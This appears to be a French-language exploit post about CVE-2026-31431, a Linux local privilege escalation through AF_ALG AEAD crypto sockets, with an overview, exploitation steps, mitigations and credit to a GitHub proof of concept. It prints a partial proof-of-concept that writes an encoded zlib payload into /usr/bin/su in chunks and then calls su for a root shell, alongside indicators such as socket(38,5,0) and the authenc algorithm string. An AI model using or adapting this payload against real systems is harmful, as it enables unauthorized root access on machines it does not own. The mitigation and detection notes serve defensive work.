CVE-2026-31431

📌 CVE-2026-31431 – Élévation de privilèges via un mauvais usage des sockets cryptographiques AEAD

🧠 Vue d'ensemble

CVE-2026-31431 est une vulnérabilité d'élévation de privilèges sous Linux qui abuse de l'interface AF_ALG (API cryptographique du noyau). En élaborant une interaction malveillante avec les sockets AEAD (Authenticated Encryption with Associated Data), un attaquant peut élever ses privilèges et exécuter du code en tant que root.

Cette vulnérabilité exploite une gestion inappropriée des opérations de sockets cryptographiques, permettant une manipulation contrôlée de la mémoire et, à terme, une élévation de privilèges.

⚠️ Impact

• Élévation locale de privilèges
• Accès à un shell root (/usr/bin/su)
• Affecte les systèmes dotés d'implémentations cryptographiques vulnérables du noyau

🔍 Analyse technique

L'exploit :

• Crée un socket AF_ALG

• Se lie à :

  root@kitploit:~

  authenc(hmac(sha256),cbc(aes))
  

• Utilise des charges utiles élaborées via setsockopt et sendmsg

• Déclenche un comportement non intentionnel du noyau

• Ouvre un shell root via :

  root@kitploit:~

  g.system("su")
  

Indicateurs clés :

• Utilisation de socket(38,5,0) → AF_ALG
• Manipulation AEAD
• Écritures mémoire contrôlées via une charge utile compressée (zlib)

💻 Preuve de concept (PoC)

🔑 Extrait de la charge utile principale :

**Avertissement : Je ne possède pas ce PoC. Il est uniquement à des fins éducatives pour des tests dans des environnements où l'autorisation est disponible. L'auteur/propriétaire ne sera pas responsable de toute mauvaise utilisation. **

f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):
    c(f,i,e[i:i+4])
    i+=4

g.system("su")

🚀 Déroulement de l'exploitation

1. Initialiser le socket cryptographique
2. Configurer les paramètres AEAD
3. Envoyer la charge utile élaborée
4. Déclencher la faille du noyau
5. Écraser le flux d'exécution
6. Ouvrir un shell root

🛡️ Atténuation

• Mettre à jour le noyau vers la dernière version
• Restreindre l'accès aux sockets AF_ALG
• Utiliser des politiques LSM (AppArmor/SELinux)
• Surveiller les usages anormaux de l'API cryptographique

🙏 Crédits

• PoC : https://github.com/theori-io/copy-fail-CVE-2026-31431